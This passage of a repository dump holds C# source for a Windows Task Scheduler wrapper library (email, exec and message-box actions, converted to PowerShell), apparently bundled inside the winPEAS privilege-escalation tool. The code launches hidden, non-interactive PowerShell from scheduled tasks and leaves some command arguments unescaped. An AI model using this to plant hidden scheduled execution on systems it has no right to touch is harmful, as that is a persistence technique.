<summary>Gets or sets the name of the server that you use to send e-mail from.</summary>\n            [DefaultValue(null)]\n            public string Server\n            {\n                get => GetProperty<string, IEmailAction>(nameof(Server));\n                set => SetProperty<string, IEmailAction>(nameof(Server), value);\n            }\n\n            /// <summary>Gets or sets the subject of the e-mail.</summary>\n            [DefaultValue(null)]\n            public string Subject\n            {\n                get => GetProperty<string, IEmailAction>(nameof(Subject));\n                set => SetProperty<string, IEmailAction>(nameof(Subject), value);\n            }\n\n            /// <summary>Gets or sets the e-mail address or addresses that you want to send the e-mail to.</summary>\n            [DefaultValue(null)]\n            public string To\n            {\n                get => GetProperty<string, IEmailAction>(nameof(To));\n                set => SetProperty<string, IEmailAction>(nameof(To), value);\n            }\n\n            internal override TaskActionType InternalActionType => TaskActionType.SendEmail;\n\n            /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n            /// <param name=\"other\">An object to compare with this object.</param>\n            /// <returns><c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.</returns>\n            public override bool Equals(Action other) => base.Equals(other) && GetPowerShellCommand() == other.GetPowerShellCommand();\n\n            /// <summary>Gets a string representation of the <see cref=\"EmailAction\"/>.</summary>\n            /// <returns>String representation of this action.</returns>\n            public override string ToString() => string.Format(Properties.Resources.EmailAction, Subject, To, Cc, Bcc, From, ReplyTo, Body, Server, Id);\n\n            internal static Action FromPowerShellCommand(string p)\n            {\n                var match = System.Text.RegularExpressions.Regex.Match(p, @\"^Send-MailMessage -From '(?<from>(?:[^']|'')*)' -Subject '(?<subject>(?:[^']|'')*)' -SmtpServer '(?<server>(?:[^']|'')*)'(?: -Encoding UTF8)?(?: -To (?<to>'(?:(?:[^']|'')*)'(?:, '(?:(?:[^']|'')*)')*))?(?: -Cc (?<cc>'(?:(?:[^']|'')*)'(?:, '(?:(?:[^']|'')*)')*))?(?: -Bcc (?<bcc>'(?:(?:[^']|'')*)'(?:, '(?:(?:[^']|'')*)')*))?(?:(?: -BodyAsHtml)? -Body '(?<body>(?:[^']|'')*)')?(?: -Attachments (?<att>'(?:(?:[^']|'')*)'(?:, '(?:(?:[^']|'')*)')*))?(?: -Priority (?<imp>High|Normal|Low))?;?\\s*$\");\n                if (match.Success)\n                {\n                    var action = new EmailAction(UnPrep(FromUTF8(match.Groups[\"subject\"].Value)), UnPrep(match.Groups[\"from\"].Value), FromPS(match.Groups[\"to\"]), UnPrep(FromUTF8(match.Groups[\"body\"].Value)), UnPrep(match.Groups[\"server\"].Value))\n                    { Cc = FromPS(match.Groups[\"cc\"]), Bcc = FromPS(match.Groups[\"bcc\"]) };\n                    action.validateAttachments = false;\n                    if (match.Groups[\"att\"].Success)\n                        action.Attachments = Array.ConvertAll<string, object>(FromPS(match.Groups[\"att\"].Value), s => s);\n                    action.validateAttachments = true;\n                    if (match.Groups[\"imp\"].Success)\n                        action.HeaderFields[ImportanceHeader] = match.Groups[\"imp\"].Value;\n                    return action;\n                }\n                return null;\n            }\n\n            internal override void Bind(ITaskDefinition iTaskDef)\n            {\n                base.Bind(iTaskDef);\n                nvc?.Bind(((IEmailAction)iAction).HeaderFields);\n            }\n\n            /// <summary>Copies the properties from another <see cref=\"System.Action\"/> the current instance.</summary>\n            /// <param name=\"sourceAction\">The source <see cref=\"System.Action\"/>.</param>\n            internal override void CopyProperties(Action sourceAction)\n            {\n                if (sourceAction.GetType() == GetType())\n                {\n                    base.CopyProperties(sourceAction);\n                    if (((EmailAction)sourceAction).Attachments != null)\n                        Attachments = (object[])((EmailAction)sourceAction).Attachments.Clone();\n                    Bcc = ((EmailAction)sourceAction).Bcc;\n                    Body = ((EmailAction)sourceAction).Body;\n                    Cc = ((EmailAction)sourceAction).Cc;\n                    From = ((EmailAction)sourceAction).From;\n                    if (((EmailAction)sourceAction).nvc != null)\n                        ((EmailAction)sourceAction).HeaderFields.CopyTo(HeaderFields);\n                    ReplyTo = ((EmailAction)sourceAction).ReplyTo;\n                    Server = ((EmailAction)sourceAction).Server;\n                    Subject = ((EmailAction)sourceAction).Subject;\n                    To = ((EmailAction)sourceAction).To;\n                }\n            }\n\n            internal override void CreateV2Action(IActionCollection iActions) => iAction = iActions.Create(TaskActionType.SendEmail);\n\n            internal override string GetPowerShellCommand()\n            {\n                // Send-MailMessage [-To] <String[]> [-Subject] <String> [[-Body] <String> ] [[-SmtpServer] <String> ] -From <String>\n                // [-Attachments <String[]> ] [-Bcc <String[]> ] [-BodyAsHtml] [-Cc <String[]> ] [-Credential <PSCredential> ]\n                // [-DeliveryNotificationOption <DeliveryNotificationOptions> ] [-Encoding <Encoding> ] [-Port <Int32> ] [-Priority\n                // <MailPriority> ] [-UseSsl] [ <CommonParameters>]\n                var bodyIsHtml = Body != null && Body.Trim().StartsWith(\"<\") && Body.Trim().EndsWith(\">\");\n                var sb = new System.Text.StringBuilder();\n                sb.AppendFormat(\"Send-MailMessage -From '{0}' -Subject '{1}' -SmtpServer '{2}' -Encoding UTF8\", Prep(From), ToUTF8(Prep(Subject)), Prep(Server));\n                if (!string.IsNullOrEmpty(To))\n                    sb.AppendFormat(\" -To {0}\", ToPS(To));\n                if (!string.IsNullOrEmpty(Cc))\n                    sb.AppendFormat(\" -Cc {0}\", ToPS(Cc));\n                if (!string.IsNullOrEmpty(Bcc))\n                    sb.AppendFormat(\" -Bcc {0}\", ToPS(Bcc));\n                if (bodyIsHtml)\n                    sb.Append(\" -BodyAsHtml\");\n                if (!string.IsNullOrEmpty(Body))\n                    sb.AppendFormat(\" -Body '{0}'\", ToUTF8(Prep(Body)));\n                if (Attachments != null && Attachments.Length > 0)\n                    sb.AppendFormat(\" -Attachments {0}\", ToPS(Array.ConvertAll(Attachments, o => Prep(o.ToString()))));\n                var hdr = new List<string>(HeaderFields.Names);\n                if (hdr.Contains(ImportanceHeader))\n                {\n                    var p = Priority;\n                    if (p != System.Net.Mail.MailPriority.Normal)\n                        sb.Append($\" -Priority {p}\");\n                    hdr.Remove(ImportanceHeader);\n                }\n                if (hdr.Count > 0)\n                    throw new InvalidOperationException(\"Under Windows 8 and later, EmailAction objects are converted to PowerShell. This action contains headers that are not supported.\");\n                sb.Append(\"; \");\n                return sb.ToString();\n\n                /*var msg = new System.Net.Mail.MailMessage(this.From, this.To, this.Subject, this.Body);\n                if (!string.IsNullOrEmpty(this.Bcc))\n                    msg.Bcc.Add(this.Bcc);\n                if (!string.IsNullOrEmpty(this.Cc))\n                    msg.CC.Add(this.Cc);\n                if (!string.IsNullOrEmpty(this.ReplyTo))\n                    msg.ReplyTo = new System.Net.Mail.MailAddress(this.ReplyTo);\n                if (this.Attachments != null && this.Attachments.Length > 0)\n                    foreach (string s in this.Attachments)\n                        msg.Attachments.Add(new System.Net.Mail.Attachment(s));\n                if (this.nvc != null)\n                    foreach (var ha in this.HeaderFields)\n                        msg.Headers.Add(ha.Name, ha.Value);\n                var client = new System.Net.Mail.SmtpClient(this.Server);\n                client.Send(msg);*/\n            }\n\n            private static string[] FromPS(string p)\n            {\n                var list = p.Split(new[] { \", \" }, StringSplitOptions.RemoveEmptyEntries);\n                return Array.ConvertAll(list, i => UnPrep(i).Trim('\\''));\n            }\n\n            private static string FromPS(System.Text.RegularExpressions.Group g, string delimeter = \";\") => g.Success ? string.Join(delimeter, FromPS(g.Value)) : null;\n\n            private static string FromUTF8(string s)\n            {\n                var bytes = System.Text.Encoding.UTF8.GetBytes(s);\n                return System.Text.Encoding.Default.GetString(bytes);\n            }\n\n            private static string Prep(string s) => s?.Replace(\"'\", \"''\");\n\n            private static string ToPS(string input, char[] delimeters = null)\n            {\n                if (delimeters == null)\n                    delimeters = new[] { ';', ',' };\n                return ToPS(Array.ConvertAll(input.Split(delimeters), i => Prep(i.Trim())));\n            }\n\n            private static string ToPS(string[] input) => string.Join(\", \", Array.ConvertAll(input, i => string.Concat(\"'\", i.Trim(), \"'\")));\n\n            private static string ToUTF8(string s)\n            {\n                if (s == null) return null;\n                var bytes = System.Text.Encoding.Default.GetBytes(s);\n                return System.Text.Encoding.UTF8.GetString(bytes);\n            }\n\n            private static string UnPrep(string s) => s?.Replace(\"''\", \"'\");\n        }\n\n        /// <summary>Represents an action that executes a command-line operation.</summary>\n        /// <remarks>\n        /// All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters.\n        /// </remarks>\n        /// <example>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        ///ExecAction ea1 = new ExecAction(\"notepad.exe\", \"file.txt\", null);\n        ///ExecAction ea2 = new ExecAction();\n        ///ea2.Path = \"notepad.exe\";\n        ///ea.Arguments = \"file2.txt\";\n        ///]]>\n        /// </code>\n        /// </example>\n        [XmlRoot(\"Exec\", Namespace = TaskDefinition.tns, IsNullable = false)]\n        public class ExecAction : Action\n        {\n#if DEBUG\n        internal const string PowerShellArgFormat = \"-NoExit -Command \\\"& {{<# {0}:{1} #> {2}}}\\\"\";\n#else\n            internal const string PowerShellArgFormat = \"-NoLogo -NonInteractive -WindowStyle Hidden -Command \\\"& {{<# {0}:{1} #> {2}}}\\\"\";\n#endif\n            internal const string PowerShellPath = \"powershell\";\n            internal const string ScriptIdentifer = \"TSML_20140424\";\n\n            /// <summary>Creates a new instance of an <see cref=\"ExecAction\"/> that can be added to <see cref=\"TaskDefinition.Actions\"/>.</summary>\n            public ExecAction() { }\n\n            /// <summary>Creates a new instance of an <see cref=\"ExecAction\"/> that can be added to <see cref=\"TaskDefinition.Actions\"/>.</summary>\n            /// <param name=\"path\">Path to an executable file.</param>\n            /// <param name=\"arguments\">Arguments associated with the command-line operation. This value can be null.</param>\n            /// <param name=\"workingDirectory\">\n            /// Directory that contains either the executable file or the files that are used by the executable file. This value can be null.\n            /// </param>\n            public ExecAction([NotNull] string path, string arguments = null, string workingDirectory = null)\n            {\n                Path = path;\n                Arguments = arguments;\n                WorkingDirectory = workingDirectory;\n            }\n\n            internal ExecAction([NotNull] ITask task) : base(task)\n            {\n            }\n\n            internal ExecAction([NotNull] IAction action) : base(action)\n            {\n            }\n\n            /// <summary>Gets or sets the arguments associated with the command-line operation.</summary>\n            [DefaultValue(\"\")]\n            public string Arguments\n            {\n                get\n                {\n                    if (v1Task != null)\n                        return v1Task.GetParameters();\n                    return GetProperty<string, IExecAction>(nameof(Arguments), \"\");\n                }\n                set\n                {\n                    if (v1Task != null)\n                        v1Task.SetParameters(value);\n                    else\n                        SetProperty<string, IExecAction>(nameof(Arguments), value);\n                }\n            }\n\n            /// <summary>Gets or sets the path to an executable file.</summary>\n            [XmlElement(\"Command\")]\n            [DefaultValue(\"\")]\n            public string Path\n            {\n                get\n                {\n                    if (v1Task != null)\n                        return v1Task.GetApplicationName();\n                    return GetProperty<string, IExecAction>(nameof(Path), \"\");\n                }\n                set\n                {\n                    if (v1Task != null)\n                        v1Task.SetApplicationName(value);\n                    else\n                        SetProperty<string, IExecAction>(nameof(Path), value);\n                }\n            }\n\n            /// <summary>\n            /// Gets or sets the directory that contains either the executable file or the files that are used by the executable file.\n            /// </summary>\n            [DefaultValue(\"\")]\n            public string WorkingDirectory\n            {\n                get\n                {\n                    if (v1Task != null)\n                        return v1Task.GetWorkingDirectory();\n                    return GetProperty<string, IExecAction>(nameof(WorkingDirectory), \"\");\n                }\n                set\n                {\n                    if (v1Task != null)\n                        v1Task.SetWorkingDirectory(value);\n                    else\n                        SetProperty<string, IExecAction>(nameof(WorkingDirectory), value);\n                }\n            }\n\n            internal override TaskActionType InternalActionType => TaskActionType.Execute;\n\n            /// <summary>Determines whether the specified path is a valid filename and, optionally, if it exists.</summary>\n            /// <param name=\"path\">The path.</param>\n            /// <param name=\"checkIfExists\">if set to <c>true</c> check if file exists.</param>\n            /// <param name=\"throwOnException\">if set to <c>true</c> throw exception on error.</param>\n            /// <returns><c>true</c> if the specified path is a valid filename; otherwise, <c>false</c>.</returns>\n            public static bool IsValidPath(string path, bool checkIfExists = true, bool throwOnException = false)\n            {\n                try\n                {\n                    if (path == null) throw new ArgumentNullException(nameof(path));\n                    /*if (path.StartsWith(\"\\\"\") && path.EndsWith(\"\\\"\") && path.Length > 1)\n                        path = path.Substring(1, path.Length - 2);*/\n                    var fn = System.IO.Path.GetFileName(path);\n                    System.Diagnostics.Debug.WriteLine($\"IsValidPath fn={fn}\");\n                    if (fn == string.Empty)\n                        return false;\n                    var dn = System.IO.Path.GetDirectoryName(path);\n                    System.Diagnostics.Debug.WriteLine($\"IsValidPath dir={dn ?? \"null\"}\");\n                    System.IO.Path.GetFullPath(path);\n                    return true;\n                }\n                catch (Exception ex)\n                {\n                    System.Diagnostics.Debug.WriteLine($\"IsValidPath exc={ex}\");\n                    if (throwOnException) throw;\n                }\n                return false;\n            }\n\n            /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n            /// <param name=\"other\">An object to compare with this object.</param>\n            /// <returns><c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.</returns>\n            public override bool Equals(Action other) => base.Equals(other) && Path == ((ExecAction)other).Path && Arguments == ((ExecAction)other).Arguments && WorkingDirectory == ((ExecAction)other).WorkingDirectory;\n\n            /// <summary>\n            /// Validates the input as a valid filename and optionally checks for its existence. If valid, the <see cref=\"Path\"/> property is\n            /// set to the validated absolute file path.\n            /// </summary>\n            /// <param name=\"path\">The file path to validate.</param>\n            /// <param name=\"checkIfExists\">if set to <c>true</c> check if the file exists.</param>\n            public void SetValidatedPath([NotNull] string path, bool checkIfExists = true)\n            {\n                if (IsValidPath(path, checkIfExists, true))\n                    Path = path;\n            }\n\n            /// <summary>Gets a string representation of the <see cref=\"ExecAction\"/>.</summary>\n            /// <returns>String representation of this action.</returns>\n            public override string ToString() => string.Format(Properties.Resources.ExecAction, Path, Arguments, WorkingDirectory, Id);\n\n            internal static string BuildPowerShellCmd(string actionType, string cmd) => string.Format(PowerShellArgFormat, ScriptIdentifer, actionType, cmd);\n\n            internal static ExecAction ConvertToPowerShellAction(Action action) => CreatePowerShellAction(action.ActionType.ToString(), action.GetPowerShellCommand());\n\n            internal static ExecAction CreatePowerShellAction(string actionType, string cmd) => new ExecAction(PowerShellPath, BuildPowerShellCmd(actionType, cmd));\n\n            internal static Action FromPowerShellCommand(string p)\n            {\n                var match = System.Text.RegularExpressions.Regex.Match(p, \"^Start-Process -FilePath '(?<p>[^']*)'(?: -ArgumentList '(?<a>[^']*)')?(?: -WorkingDirectory '(?<d>[^']*)')?;?\\\\s*$\");\n                return match.Success ? new ExecAction(match.Groups[\"p\"].Value, match.Groups[\"a\"].Success ? match.Groups[\"a\"].Value.Replace(\"''\", \"'\") : null, match.Groups[\"d\"].Success ? match.Groups[\"d\"].Value : null) : null;\n            }\n\n            /// <summary>Copies the properties from another <see cref=\"System.Action\"/> the current instance.</summary>\n            /// <param name=\"sourceAction\">The source <see cref=\"System.Action\"/>.</param>\n            internal override void CopyProperties(Action sourceAction)\n            {\n                if (sourceAction.GetType() == GetType())\n                {\n                    base.CopyProperties(sourceAction);\n                    Path = ((ExecAction)sourceAction).Path;\n                    Arguments = ((ExecAction)sourceAction).Arguments;\n                    WorkingDirectory = ((ExecAction)sourceAction).WorkingDirectory;\n                }\n            }\n\n            internal override void CreateV2Action(IActionCollection iActions) => iAction = iActions.Create(TaskActionType.Execute);\n\n            internal override string GetPowerShellCommand()\n            {\n                var sb = new System.Text.StringBuilder($\"Start-Process -FilePath '{Path}'\");\n                if (!string.IsNullOrEmpty(Arguments))\n                    sb.Append($\" -ArgumentList '{Arguments.Replace(\"'\", \"''\")}'\");\n                if (!string.IsNullOrEmpty(WorkingDirectory))\n                    sb.Append($\" -WorkingDirectory '{WorkingDirectory}'\");\n                return sb.Append(\"; \").ToString();\n            }\n\n            internal string[] ParsePowerShellItems()\n            {\n                if (((Path?.EndsWith(PowerShellPath, StringComparison.InvariantCultureIgnoreCase) ?? false) ||\n                     (Path?.EndsWith(PowerShellPath + \".exe\", StringComparison.InvariantCultureIgnoreCase) ?? false)) && (Arguments?.Contains(ScriptIdentifer) ?? false))\n                {\n                    var match = System.Text.RegularExpressions.Regex.Match(Arguments, @\"<# \" + ScriptIdentifer + \":(?<type>\\\\w+) #> (?<cmd>.+)}\\\"$\");\n                    if (match.Success)\n                        return new[] { match.Groups[\"type\"].Value, match.Groups[\"cmd\"].Value };\n                }\n                return null;\n            }\n        }\n\n        /// <summary>\n        /// Represents an action that shows a message box when a task is activated. <note>Only available for Task Scheduler 2.0 on Windows Vista\n        /// or Windows Server 2003 and later.</note><note type=\"warning\">This action has been deprecated in Windows 8 and later. However, this\n        /// library is able to mimic its functionality using PowerShell if the <see cref=\"ActionCollection.PowerShellConversion\"/> property is\n        /// set to <see cref=\"PowerShellActionPlatformOption.All\"/>. To disable this conversion, set the value to <see cref=\"PowerShellActionPlatformOption.Never\"/>.</note>\n        /// </summary>\n        /// <remarks>Display a message when the trigger fires using the ShowMessageAction.</remarks>\n        /// <example>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        ///ShowMessageAction msg = new ShowMessageAction(\"You just got a message!\", \"SURPRISE\");\n        ///]]>\n        /// </code>\n        /// </example>\n        [XmlType(IncludeInSchema = true)]\n        [XmlRoot(\"ShowMessage\", Namespace = TaskDefinition.tns, IsNullable = false)]\n        public sealed class ShowMessageAction : Action, IBindAsExecAction\n        {\n            /// <summary>Creates a new unbound instance of <see cref=\"ShowMessageAction\"/>.</summary>\n            public ShowMessageAction()\n            {\n            }\n\n            /// <summary>Creates a new unbound instance of <see cref=\"ShowMessageAction\"/>.</summary>\n            /// <param name=\"messageBody\">Message text that is displayed in the body of the message box.</param>\n            /// <param name=\"title\">Title of the message box.</param>\n            public ShowMessageAction([CanBeNull] string messageBody, [CanBeNull] string title)\n            {\n                MessageBody = messageBody;\n                Title = title;\n            }\n\n            internal ShowMessageAction([NotNull] ITask task) : base(task)\n            {\n            }\n\n            internal ShowMessageAction([NotNull] IAction action) : base(action)\n            {\n            }\n\n            /// <summary>Gets or sets the message text that is displayed in the body of the message box.</summary>\n            [XmlElement(\"Body\")]\n            [DefaultValue(null)]\n            public string MessageBody\n            {\n                get => GetProperty<string, IShowMessageAction>(nameof(MessageBody));\n                set => SetProperty<string, IShowMessageAction>(nameof(MessageBody), value);\n            }\n\n            /// <summary>Gets or sets the title of the message box.</summary>\n            [DefaultValue(null)]\n            public string Title\n            {\n                get => GetProperty<string, IShowMessageAction>(nameof(Title));\n                set => SetProperty<string, IShowMessageAction>(nameof(Title), value);\n            }\n\n            internal override TaskActionType InternalActionType => TaskActionType.ShowMessage;\n\n            /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n            /// <param name=\"other\">An object to compare with this object.</param>\n            /// <returns><c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.</returns>\n            public override bool Equals(Action other) => base.Equals(other) &&\n                                                         string.Equals(Title, (other as ShowMessageAction)?.Title) &&\n                                                         string.Equals(MessageBody,\n                                                             (other as ShowMessageAction)?.MessageBody);\n\n            /// <summary>Gets a string representation of the <see cref=\"ShowMessageAction\"/>.</summary>\n            /// <returns>String representation of this action.</returns>\n            public override string ToString() =>\n                string.Format(Properties.Resources.ShowMessageAction, Title, MessageBody, Id);\n\n            internal static Action FromPowerShellCommand(string p)\n            {\n                var match = System.Text.RegularExpressions.Regex.Match(p,\n                    @\"^\\[System.Reflection.Assembly\\]::LoadWithPartialName\\('System.Windows.Forms'\\); \\[System.Windows.Forms.MessageBox\\]::Show\\('(?<msg>(?:[^']|'')*)'(?:,'(?<t>(?:[^']|'')*)')?\\);?\\s*$\");\n                return match.Success\n                    ? new ShowMessageAction(match.Groups[\"msg\"].Value.Replace(\"''\", \"'\"),\n                        match.Groups[\"t\"].Success ? match.Groups[\"t\"].Value.Replace(\"''\", \"'\") : null)\n                    : null;\n            }\n\n            /// <summary>Copies the properties from another <see cref=\"System.Action\"/> the current instance.</summary>\n            /// <param name=\"sourceAction\">The source <see cref=\"System.Action\"/>.</param>\n            internal override void CopyProperties(Action sourceAction)\n            {\n                if (sourceAction.GetType() == GetType())\n                {\n                    base.CopyProperties(sourceAction);\n                    Title = ((ShowMessageAction)sourceAction).Title;\n                    MessageBody = ((ShowMessageAction)sourceAction).MessageBody;\n                }\n            }\n\n            internal override void CreateV2Action(IActionCollection iActions) =>\n                iAction = iActions.Create(TaskActionType.ShowMessage);\n\n            internal override string GetPowerShellCommand()\n            {\n                // [System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Your_Desired_Message','Your_Desired_Title');\n                var sb = new System.Text.StringBuilder(\n                    \"[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('\");\n                sb.Append(MessageBody.Replace(\"'\", \"''\"));\n                if (Title != null)\n                {\n                    sb.Append(\"','\");\n                    sb.Append(Title.Replace(\"'\", \"''\"));\n                }\n\n                sb.Append(\"'); \");\n                return sb.ToString();\n            }\n        }\n\n    }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/ActionCollection.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Collections.Specialized;\nusing System.ComponentModel;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\nusing System.Xml.Serialization;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Options for when to convert actions to PowerShell equivalents.</summary>\n    [Flags]\n    public enum PowerShellActionPlatformOption\n    {\n        /// <summary>\n        /// Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities\n        /// are found.\n        /// </summary>\n        Never = 0,\n\n        /// <summary>\n        /// Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple\n        /// actions of all types. If not specified, only a single <see cref=\"Action.ExecAction\"/> is supported. Developer must ensure that\n        /// PowerShell v2 or higher is installed on the target computer.\n        /// </summary>\n        Version1 = 1,\n\n        /// <summary>\n        /// Convert all <see cref=\"Action.ShowMessageAction\"/> and <see cref=\"Action.EmailAction\"/> references to their PowerShell equivalents on systems\n        /// on or after Windows 8 / Server 2012.\n        /// </summary>\n        Version2 = 2,\n\n        /// <summary>Convert all actions regardless of version or operating system.</summary>\n        All = 3\n    }\n\n    /// <summary>Collection that contains the actions that are performed by the task.</summary>\n    [XmlRoot(\"Actions\", Namespace = TaskDefinition.tns, IsNullable = false)]\n    [PublicAPI]\n    public sealed class ActionCollection : IList<Action>, IDisposable, IXmlSerializable, IList, INotifyCollectionChanged, INotifyPropertyChanged\n    {\n        internal const int MaxActions = 32;\n        private const string IndexerName = \"Item[]\";\n        private static readonly string psV2IdRegex = $\"(?:; )?{nameof(PowerShellConversion)}=(?<v>0|1)\";\n        private bool inV2set;\n        private PowerShellActionPlatformOption psConvert = PowerShellActionPlatformOption.Version2;\n        private readonly List<Action> v1Actions;\n        private ITask v1Task;\n        private readonly IActionCollection v2Coll;\n        private ITaskDefinition v2Def;\n\n        internal ActionCollection([NotNull] ITask task)\n        {\n            v1Task = task;\n            v1Actions = GetV1Actions();\n            PowerShellConversion = Action.TryParse(v1Task.GetDataItem(nameof(PowerShellConversion)), psConvert | PowerShellActionPlatformOption.Version2);\n        }\n\n        internal ActionCollection([NotNull] ITaskDefinition iTaskDef)\n        {\n            v2Def = iTaskDef;\n            v2Coll = iTaskDef.Actions;\n            System.Text.RegularExpressions.Match match;\n            if (iTaskDef.Data != null && (match = System.Text.RegularExpressions.Regex.Match(iTaskDef.Data, psV2IdRegex)).Success)\n            {\n                var on = false;\n                try { on = bool.Parse(match.Groups[\"v\"].Value); } catch { try { on = int.Parse(match.Groups[\"v\"].Value) == 1; } catch { } }\n                if (on)\n                    psConvert |= PowerShellActionPlatformOption.Version2;\n                else\n                    psConvert &= ~PowerShellActionPlatformOption.Version2;\n            }\n            UnconvertUnsupportedActions();\n        }\n\n        /// <summary>Occurs when a collection changes.</summary>\n        public event NotifyCollectionChangedEventHandler CollectionChanged;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets or sets the identifier of the principal for the task.</summary>\n        [XmlAttribute]\n        [DefaultValue(null)]\n        [CanBeNull]\n        public string Context\n        {\n            get\n            {\n                if (v2Coll != null)\n                    return v2Coll.Context;\n                return v1Task.GetDataItem(\"ActionCollectionContext\");\n            }\n            set\n            {\n                if (v2Coll != null)\n                    v2Coll.Context = value;\n                else\n                    v1Task.SetDataItem(\"ActionCollectionContext\", value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the systems under which unsupported actions will be converted to PowerShell <see cref=\"Action.ExecAction\"/> instances.\n        /// </summary>\n        /// <value>The PowerShell platform options.</value>\n        /// <remarks>\n        /// This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler.\n        /// <para>\n        /// If set to <see cref=\"PowerShellActionPlatformOption.Never\"/>, then no actions will ever be converted to PowerShell. This will\n        /// force exceptions to be thrown when unsupported actions our action quantities are found.\n        /// </para>\n        /// <para>\n        /// If set to <see cref=\"PowerShellActionPlatformOption.Version1\"/>, then actions will be converted only under Version 1 of the\n        /// library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified,\n        /// only a single <see cref=\"Action.ExecAction\"/> is supported. Developer must ensure that PowerShell v2 or higher is installed on the\n        /// target computer.\n        /// </para>\n        /// <para>\n        /// If set to <see cref=\"PowerShellActionPlatformOption.Version2\"/> (which is the default value), then <see\n        /// cref=\"Action.ShowMessageAction\"/> and <see cref=\"Action.EmailAction\"/> references will be converted to their PowerShell equivalents on systems\n        /// on or after Windows 8 / Server 2012.\n        /// </para>\n        /// <para>\n        /// If set to <see cref=\"PowerShellActionPlatformOption.All\"/>, then any actions not supported by the Task Scheduler version will be\n        /// converted to PowerShell.\n        /// </para>\n        /// </remarks>\n        [DefaultValue(typeof(PowerShellActionPlatformOption), \"Version2\")]\n        public PowerShellActionPlatformOption PowerShellConversion\n        {\n            get => psConvert;\n            set\n            {\n                if (psConvert != value)\n                {\n                    psConvert = value;\n                    if (v1Task != null)\n                        v1Task.SetDataItem(nameof(PowerShellConversion), value.ToString());\n                    if (v2Def != null)\n                    {\n                        if (!string.IsNullOrEmpty(v2Def.Data))\n                            v2Def.Data = System.Text.RegularExpressions.Regex.Replace(v2Def.Data, psV2IdRegex, \"\");\n                        if (!SupportV2Conversion)\n                            v2Def.Data = string.Format(\"{0}; {1}=0\", v2Def.Data, nameof(PowerShellConversion));\n                    }\n                    OnNotifyPropertyChanged();\n                }\n            }\n        }\n\n        /// <summary>Gets or sets an XML-formatted version of the collection.</summary>\n        public string XmlText\n        {\n            get\n            {\n                if (v2Coll != null)\n                    return v2Coll.XmlText;\n                return XmlSerializationHelper.WriteObjectToXmlText(this);\n            }\n            set\n            {\n                if (v2Coll != null)\n                    v2Coll.XmlText = value;\n                else\n                    XmlSerializationHelper.ReadObjectFromXmlText(value, this);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets the number of actions in the collection.</summary>\n        public int Count => (v2Coll != null) ? v2Coll.Count : v1Actions.Count;\n\n        bool IList.IsFixedSize => false;\n        bool ICollection<Action>.IsReadOnly => false;\n        bool IList.IsReadOnly => false;\n        bool ICollection.IsSynchronized => false;\n\n        object ICollection.SyncRoot => this;\n        private bool SupportV1Conversion => (PowerShellConversion & PowerShellActionPlatformOption.Version1) != 0;\n\n        private bool SupportV2Conversion => (PowerShellConversion & PowerShellActionPlatformOption.Version2) != 0;\n\n        /// <summary>Gets or sets a specified action from the collection.</summary>\n        /// <value>The <see cref=\"Action\"/>.</value>\n        /// <param name=\"actionId\">The id ( <see cref=\"Action.Id\"/>) of the action to be retrieved.</param>\n        /// <returns>Specialized <see cref=\"Action\"/> instance.</returns>\n        /// <exception cref=\"ArgumentNullException\"></exception>\n        /// <exception cref=\"ArgumentOutOfRangeException\"></exception>\n        /// <exception cref=\"NullReferenceException\"></exception>\n        /// <exception cref=\"InvalidOperationException\">Mismatching Id for action and lookup.</exception>\n        [NotNull]\n        public Action this[string actionId]\n        {\n            get\n            {\n                if (string.IsNullOrEmpty(actionId))\n                    throw new ArgumentNullException(nameof(actionId));\n                var t = Find(a => string.Equals(a.Id, actionId));\n                if (t != null)\n                    return t;\n                throw new ArgumentOutOfRangeException(nameof(actionId));\n            }\n            set\n            {\n                if (value == null)\n                    throw new NullReferenceException();\n                if (string.IsNullOrEmpty(actionId))\n                    throw new ArgumentNullException(nameof(actionId));\n                var index = IndexOf(actionId);\n                value.Id = actionId;\n                if (index >= 0)\n                    this[index] = value;\n                else\n                    Add(value);\n            }\n        }\n\n        /// <summary>Gets or sets a an action at the specified index.</summary>\n        /// <value>The zero-based index of the action to get or set.</value>\n        [NotNull]\n        public Action this[int index]\n        {\n            get\n            {\n                if (v2Coll != null)\n                    return Action.CreateAction(v2Coll[++index]);\n                if (v1Task != null)\n                {\n                    if (SupportV1Conversion)\n                        return v1Actions[index];\n                    else\n                    {\n                        if (index == 0)\n                            return v1Actions[0];\n                    }\n                }\n                throw new ArgumentOutOfRangeException();\n            }\n            set\n            {\n                if (index < 0 || Count <= index)\n                    throw new ArgumentOutOfRangeException(nameof(index), index, \"Index is not a valid index in the ActionCollection\");\n                var orig = this[index].Clone();\n                if (v2Coll != null)\n                {\n                    inV2set = true;\n                    try\n                    {\n                        Insert(index, value);\n                        RemoveAt(index + 1);\n                    }\n                    finally\n                    {\n                        inV2set = false;\n                    }\n                }\n                else\n                {\n                    v1Actions[index] = value;\n                    